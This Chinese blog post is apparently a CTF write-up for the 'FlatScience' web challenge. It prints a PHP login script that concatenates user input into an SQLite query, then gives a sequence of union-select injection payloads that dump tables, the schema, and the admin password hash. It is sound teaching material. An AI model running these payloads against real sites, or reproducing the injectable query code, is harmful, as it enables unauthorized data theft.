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前言

今天开始每日一题，周末不更。

FlatScience
进来以后，一串英文，翻译：

最佳论文

嘿！欢迎来到我的（部分未完成）oldskool网站！
我是Flux Horst教授。。“啊，”努夫说-你应该了解我！
这是我迄今为止写的一些著名论文。

也许你自己去看看？！

试试这个或者这个或者到这里来

然后三个可以点击的位置，进去后时pdf文件，查看页面源码也没什么有用的。

查看robots.txt看看有没有信息：

啊，进去看看。

https://blog.csdn.net/qq_45742511
https://blog.csdn.net/qq_45742511/category_10811936.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=sqlite3&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_45742511/article/details/114532122
https://blog.csdn.net/qq_45742511/category_10811936.html


login.php：

admin.php：

这里admin页面直接就有admin的ID，尝试弱口令，没用。

查看源码，给了条信息：

啥意思呢：



不要试图绕过这个

相当于给了个思路，尝试获得admin的密码。

既然这个页面有提示，login页面有没有呢？

意思是给一个debug变量参数，给他，得到了源码：

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!").
"'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?> 

这。。。。sql注入么。（user存在sql注入，而且闭合方式为 ’ ，这里password被sha1加密，并且拼接了 Salz!）

这里还要注意的是数据库为 SQLite ，注入方式与MySQL不同。

但是还是很好理解的。

sqlite数据库注入

那，开始注入：

https://www.cnblogs.com/weak-chicken/p/12283925.html


判断回显位置：

usr=1' union select 1,2,3 --&pw=

报错：

列数不同，一般都是用相对多一点的列数测试，然后递减，最后发现：

回显位置在set-cookie，为什么在这里回显呢？

审计一下源码，不说了。

这里找到了回显位置，那么久正式开始：

先查询有哪些表：

usr=1' union select 1,group_concat(tbl_name) from sqlite_master where type='table'--&pw=
// Users

通过创建这个表的sql语句来得知这个表的结构：

usr=1' union select 1,group_concat(sql) from sqlite_master where tbl_name='Users'--&pw=

这里使用burpsuite进行重放，得到的数据使用了url编码，所以解码
（其实也就是符号进行了编码，看着别扭）。



得到了4个字段：id 、name、password、hint。

依次查询这四个字段：

usr=1' union select 1,group_concat(id) from Users--&pw=

usr=1' union select 1,group_concat(name) from Users--&pw=

usr=1' union select 1,group_concat(password) from Users--&pw=

usr=1' union select 1,group_concat(hint) from Users--&pw=

最后结果为：

我们一直admin用户存在，现在又知道了sha1加密后的密码，尝试解密：

ThinJerboaSalz!
密码就是ThinJerboa

登录，获得flag。

但是，这貌似是非预期解。

预期解，不记录了（因为不会）。

参考：攻防世界-Web高手进阶区-FlatScience

师傅们tql ！！！

https://blog.csdn.net/rfrder/article/details/108562201?ops_request_misc=&request_id=&biz_id=102&utm_term=ctf%20FlatScience&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-5-108562201.pc_search_result_cache


总结

在主页面无果情况下，扫描目录，或者查看robots.txt，找有用信息。

学到了sqlite的注入。
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